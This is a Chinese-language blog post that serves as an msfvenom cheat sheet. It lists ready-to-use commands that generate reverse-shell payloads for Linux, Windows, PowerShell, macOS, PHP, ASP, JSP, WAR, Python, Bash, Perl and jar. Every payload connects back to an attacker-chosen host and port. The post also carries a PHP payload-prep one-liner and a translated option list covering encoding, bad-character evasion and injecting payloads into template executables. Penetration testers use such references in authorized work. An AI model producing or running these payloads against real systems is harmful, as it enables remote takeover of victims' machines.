• msfvenom生成不同类型shell


    生成不同类型的shell

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
    

    Windows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
    

    Windwos Powershell
    并不推荐这种方式,建议使用exploit/multi/script/web_delivery模块,请参考https://www.jianshu.com/p/96d3c0cbc8d4

    msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -b 'x00x0b' LHOST=<Your IP Address>  LPORT=<Your Port to Connect On> -f psh-cmd > shell.ps1
    

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads
    

    PHP

    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
    cat shell.php | pbcopy && echo '<?php ' | tr -d '
    ' > shell.php && pbpaste >> shell.php
    

    ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
    

    JSP

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
    

    WAR

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
    Scripting Payloads
    

    Python

    msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
    

    Bash

    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
    

    Perl

    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
    

    jar

    msfvenom ‐p java/meterpreter/reverse_tcp LHOST=**.***.***.**  LPORT=44445 ‐f jar > 44445.jar
    

    msfvenom帮助中文翻译

    -p, --payload <payload> 指定需要使用的payload(攻击荷载)
    -l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
    -n, --nopsled <length> 为payload预先指定一个NOP滑动长度
    -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder [encoder] 指定需要使用的encoder(编码器)
    -a, --arch <architecture> 指定payload的目标架构
    --platform <platform> 指定payload的目标平台
    -s, --space <length> 设定有效攻击荷载的最大长度
    -b, --bad-chars <list> 设定规避字符集,比如: 'x00xff'
    -i, --iterations <count> 指定payload的编码次数
    -c, --add-code <path> 指定一个附加的win32 shellcode文件
    -x, --template <path> 指定一个自定义的可执行文件作为模板
    -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options 列举payload的标准选项
    -o, --out <path> 保存payload
    -v, --var-name <name> 指定一个自定义的变量,以确定输出格式
    --shellest 最小化生成payload
    -h, --help 查看帮助选项
    --help-formats 查看msf支持的输出格式列表
    

    参考链接

    https://www.cnblogs.com/tianlinlin/p/10171981.html
    https://www.jianshu.com/p/f5c2a7e001bf

  • 相关阅读:
    bzoj4033
    bzoj 1197
    bzoj 1196
    bzoj 1195
    bzoj 1194
    bzoj 1193
    bzoj 1192
    jvm系列(一):java类的加载机制
    红黑树之 原理和算法详细介绍
    TreeMap详细介绍(源码解析)和使用示例
  • 原文地址:https://www.cnblogs.com/KHZ521/p/14465667.html
Copyright © 2020-2023  润新知